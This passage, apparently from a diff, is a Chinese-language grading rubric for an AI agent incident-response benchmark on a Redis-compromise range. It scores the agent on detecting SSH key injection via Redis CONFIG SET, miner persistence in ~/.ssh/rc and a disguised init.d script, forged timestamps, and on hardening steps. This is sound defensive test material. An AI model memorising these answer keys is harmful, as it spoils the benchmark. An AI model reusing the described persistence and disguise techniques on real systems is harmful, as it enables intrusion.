- 发现:识别到 root 直接 SSH 登录的风险
|
| 107 |
+
- 证据:引用 sshd_config 配置
|
| 108 |
+
- 归因:将其与攻击者通过 SSH 密钥直接登录 root 关联
|
| 109 |
+
- **方案分**(2 分)
|
| 110 |
+
- 正确性:方案建议改为 `no` 或 `prohibit-password`
|
| 111 |
+
- 完整性:方案包含 `sshd -t` 验证和 sshd 重启
|
| 112 |
+
|
| 113 |
+
### CHK-11:deploy 的 sudoers NOPASSWD `BAS-04`
|
| 114 |
+
- **证据**:`/etc/sudoers.d/deploy` 授予了 `NOPASSWD: ALL`
|
| 115 |
+
- **检测分**(3 分)
|
| 116 |
+
- 发现:识别到过于宽松的 sudo 权限
|
| 117 |
+
- 证据:引用 sudoers 文件内容
|
| 118 |
+
- 归因:指出攻击者可借此提权
|
| 119 |
+
- **方案分**(2 分)
|
| 120 |
+
- 正确性:方案建议限制到特定命令或移除 NOPASSWD
|
| 121 |
+
- 完整性:方案包含 `visudo -c` 验证
|
| 122 |
+
|
| 123 |
+
### CHK-12:bash_history 中的 Redis 会话凭证 `BAS-03`
|
| 124 |
+
- **证据**:`/home/deploy/.bash_history` 中包含 Redis SET 命令泄露的会话 token(`session:admin ... s3cr3tK3y!2024`)
|
| 125 |
+
- **检测分**(3 分)
|
| 126 |
+
- 发现:识别到 shell 历史中的敏感信息
|
| 127 |
+
- 证据:引用具体历史记录行
|
| 128 |
+
- 归因:指出凭证泄露可被攻击者利用
|
| 129 |
+
- **方案分**(2 分)
|
| 130 |
+
- 正确性:方案建议清除敏感历史行
|
| 131 |
+
- 完整性:方案建议使用 Redis ACL 或应用层认证代替明文命令行操作
|
| 132 |
+
|
| 133 |
+
## 维度 3:持久化清除(5 项)
|
| 134 |
+
|
| 135 |
+
### CHK-13:~/.ssh/rc 持久化 `PER-I01`
|
| 136 |
+
- **证据**:`/root/.ssh/rc` 含伪装为 "Redis connection health check" 的代码,实际在 SSH 登录时静默启动挖矿程序
|
| 137 |
+
- **检测分**(3 分)
|
| 138 |
+
- 发现:识别到 SSH rc 文件中的恶意代码
|
| 139 |
+
- 证据:引用 /root/.ssh/rc 内容和伪装注释
|
| 140 |
+
- 归因:识别为 SSH 登录时自动执行的持久化机制(区别于 bashrc/profile.d)
|
| 141 |
+
- **方案分**(2 分)
|
| 142 |
+
- 正确性:方案给出删除 /root/.ssh/rc 的命令
|
| 143 |
+
- 完整性:方案建议检查其他用户的 ~/.ssh/rc
|
| 144 |
+
|
| 145 |
+
### CHK-14:init.d 恶意脚本 `PER-V01`
|
| 146 |
+
- **证据**:`/etc/init.d/redis-watchdog` — 伪装为 Redis 健康监控守护进程,实际启动挖矿程序
|
| 147 |
+
- **检测分**(3 分)
|
| 148 |
+
- 发现:识别到可疑 init.d 脚本
|
| 149 |
+
- 证据:指出脚本路径和实际执行内容(指向 /var/tmp/.redis-bgsave)
|
| 150 |
+
- 归因:识别为 init.d 层面的持久化(开机自启)
|
| 151 |
+
- **方案分**(2 分)
|
| 152 |
+
- 正确性:方案给出移除脚本 + `update-rc.d remove` 命令
|
| 153 |
+
- 完整性:方案包含清理后的验证步骤
|
| 154 |
+
|
| 155 |
+
### CHK-15:init.d 服务伪装识别 `PER-V01` *仅检测项*
|
| 156 |
+
- **证据**:脚本名称 `redis-watchdog` 和描述 "Redis health monitoring daemon" 模仿合法运维工具
|
| 157 |
+
- **检测分**(3 分)
|
| 158 |
+
- 发现:指出服务名称和 LSB 描述的伪装手法
|
| 159 |
+
- 证据:对比合法 Redis 组件命名(redis-server、redis-sentinel),指出 redis-watchdog 不是官方组件
|
| 160 |
+
- 归因:识别为攻击者通过命名伪装躲避审查
|
| 161 |
+
- **方案分**:N/A(实际处置由 CHK-14 覆盖)
|
| 162 |
+
|
| 163 |
+
### CHK-16:Redis 写入的 crontab 文件特征识别 `PER-S01` *仅检测项*
|
| 164 |
+
- **证据**:`/var/spool/cron/crontabs/root` 文件以 Redis RDB 格式 header 开头(而非正常 crontab 文本)
|
| 165 |
+
- **检测分**(3 分)
|
| 166 |
+
- 发现:识别到 crontab 文件格式异常
|
| 167 |
+
- 证据:指出文件含二进制数据(Redis RDB 特征),非正常 crontab 格式
|
| 168 |
+
- 归因:判定为 Redis CONFIG SET dir + SAVE 攻击手法写入
|
| 169 |
+
- **方案分**:N/A(实际处置由 CHK-04 覆盖)
|
| 170 |
+
- **加分项**:Agent 将 crontab 的 RDB 特征与 authorized_keys 的 RDB 特征关联分析
|
| 171 |
+
|
| 172 |
+
### CHK-17:全面的持久化扫描 `Q-05` *仅检测项*
|
| 173 |
+
- **证据**:除 ~/.ssh/rc、init.d、crontab 外无其他持久化机制
|
| 174 |
+
- **检测分**(3 分)
|
| 175 |
+
- 发现:执行系统性的持久化扫描(systemd、profile.d、bashrc、at 任务等)
|
| 176 |
+
- 证据:记录扫描范围和方法
|
| 177 |
+
- 归因:即使未发现额外项目,证明排查的全面性
|
| 178 |
+
- **方案分**:N/A
|
| 179 |
+
|
| 180 |
+
## 维度 4:评测质量维度(4 项)
|
| 181 |
+
|
| 182 |
+
### CHK-18:Redis 未授权访问证据 `Q-02` `Q-03` *仅检测项*
|
| 183 |
+
- **证据**:
|
| 184 |
+
- Redis 日志(部分清理后仍可能有连接记录)
|
| 185 |
+
- authorized_keys 中的 Redis RDB 二进制特征
|
| 186 |
+
- crontab 文件中的 Redis RDB 特征
|
| 187 |
+
- Redis CONFIG 状态(bind/protected-mode/requirepass)
|
| 188 |
+
- **检测分**(3 分)
|
| 189 |
+
- 发现:从多个数据源交叉验证 Redis 被利用
|
| 190 |
+
- 证据:关联 authorized_keys RDB 特征 + crontab RDB 特征 + Redis 弱配置
|
| 191 |
+
- 归因:综合证据建立 Redis 未授权访问 → SSH 密钥注入的完整攻击链
|
| 192 |
+
- **方案分**:N/A
|
| 193 |
+
|
| 194 |
+
### CHK-19:攻击者 IP 识别 `Q-03` *仅检测项*
|
| 195 |
+
- **证据**:Redis 日志中的客户端连接 IP;SSH auth.log 中密钥登录的源 IP
|
| 196 |
+
- **检测分**(3 分)
|
| 197 |
+
- 发现:识别出攻击者的源 IP
|
| 198 |
+
- 证据:引用具体日志行和 IP
|
| 199 |
+
- 归因:将该 IP 与 Redis 访问和 SSH 登录关联
|
| 200 |
+
- **方案分**:N/A
|
| 201 |
+
|
| 202 |
+
### CHK-20:入口判定 `Q-01` `Q-04` *仅检测项*
|
| 203 |
+
- **证据**:Redis 未授权访问(CONFIG SET 写文件),不是 SSH 暴力破解、不是 CVE 利用
|
| 204 |
+
- **检测分**(3 分)
|
| 205 |
+
- 发现:正确判定入口为 "Redis 未授权访问"
|
| 206 |
+
- 证据:引用 Redis 弱配置 + authorized_keys RDB 特征 + 无暴力破解日志
|
| 207 |
+
- 归因:排除 SSH 暴力破解(无 Failed password 日志)和 CVE(无漏洞利用痕迹)
|
| 208 |
+
- **方案分**:N/A
|
| 209 |
+
- **关键**:Agent 不应编造 CVE 或将其误判为 SSH 暴力破解
|
| 210 |
+
|
| 211 |
+
### CHK-21:攻击时间线重建 `Q-02` *仅检测项*
|
| 212 |
+
- **证据**:Redis 日志时间戳、SSH auth.log 密钥登录时间、文件 mtime/ctime(注意挖矿文件的 mtime 被 touch -r 伪造,需对比 ctime)
|
| 213 |
+
- **检测分**(3 分)
|
| 214 |
+
- 发现:构建出连贯的攻击时间线
|
| 215 |
+
- 证据:Redis 访问 → SSH 密钥登录 → 挖矿部署 → 持久化安装
|
| 216 |
+
- 归因:将多个时间戳来源交叉关联
|
| 217 |
+
- **方案分**:N/A
|
| 218 |
+
- **加分项**:Agent 识别到挖矿文件的 mtime 被 `touch -r` 伪造(mtime 与 redis-server 一致但 ctime 为攻击时间)
|
| 219 |
+
|
| 220 |
+
## 维度 5:修复闭环(4 项)
|
| 221 |
+
|
| 222 |
+
### CHK-22:Redis 加固验证 `Q-07`
|
| 223 |
+
- **证据**:Redis 配置变更后
|
| 224 |
+
- **检测分**(3 分)
|
| 225 |
+
- 发现:建议验证 Redis 加固效果
|
| 226 |
+
- 证据:说明需验证 bind + requirepass + protected-mode + 运行用户 + rename-command 五项
|
| 227 |
+
- 归因:体现修复操作的完整性
|
| 228 |
+
- **方案分**(2 分)
|
| 229 |
+
- 正确性:方案给出 Redis 加固后的验证命令
|
| 230 |
+
- 完整性:方案包含重启 Redis 后再次验证配置生效
|
| 231 |
+
|
| 232 |
+
### CHK-23:6379 端口访问限制 `BAS-07`
|
| 233 |
+
- **证据**:Redis 6379 端口对公网开放(攻击者从外网直接连接成功可推知)
|
| 234 |
+
- **检测分**(3 分)
|
| 235 |
+
- 发现:识别到 Redis 端口对公网无限制开放
|
| 236 |
+
- 证据:攻击者从外网直接执行 Redis 命令
|
| 237 |
+
- 归因:将端口暴露与 Redis 未授权访问攻击面关联
|
| 238 |
+
- **方案分**(2 分)
|
| 239 |
+
- 正确性:方案建议防火墙限制 6379 端口
|
| 240 |
+
- 完整性:方案给出具体的安全组/iptables 规则
|
| 241 |
+
|
| 242 |
+
### CHK-24:服务重启与验证 `Q-07`
|
| 243 |
+
- **证据**:Redis、Nginx、SSH 在修复后应正常运行
|
| 244 |
+
- **检测分**(3 分)
|
| 245 |
+
- 发现:建议验证加固操作未影响业务服务
|
| 246 |
+
- 证据:列出需要验证的关键服务
|
| 247 |
+
- 归因:体现业务影响意识
|
| 248 |
+
- **方案分**(2 分)
|
| 249 |
+
- 正确性:方案列出关键服务状态检查命令
|
| 250 |
+
- 完整性:方案涵盖 Redis、Nginx、SSH 三个服务
|
ranges/redis-rce/disk.tar.gz
ADDED
|
@@ -0,0 +1,3 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
version https://git-lfs.github.com/spec/v1
|
| 2 |
+
oid sha256:b87cb4ecc8033036586c47448e38e23bae9249f89530e2caf3c630023bcce9d5
|
| 3 |
+
size 793899165
|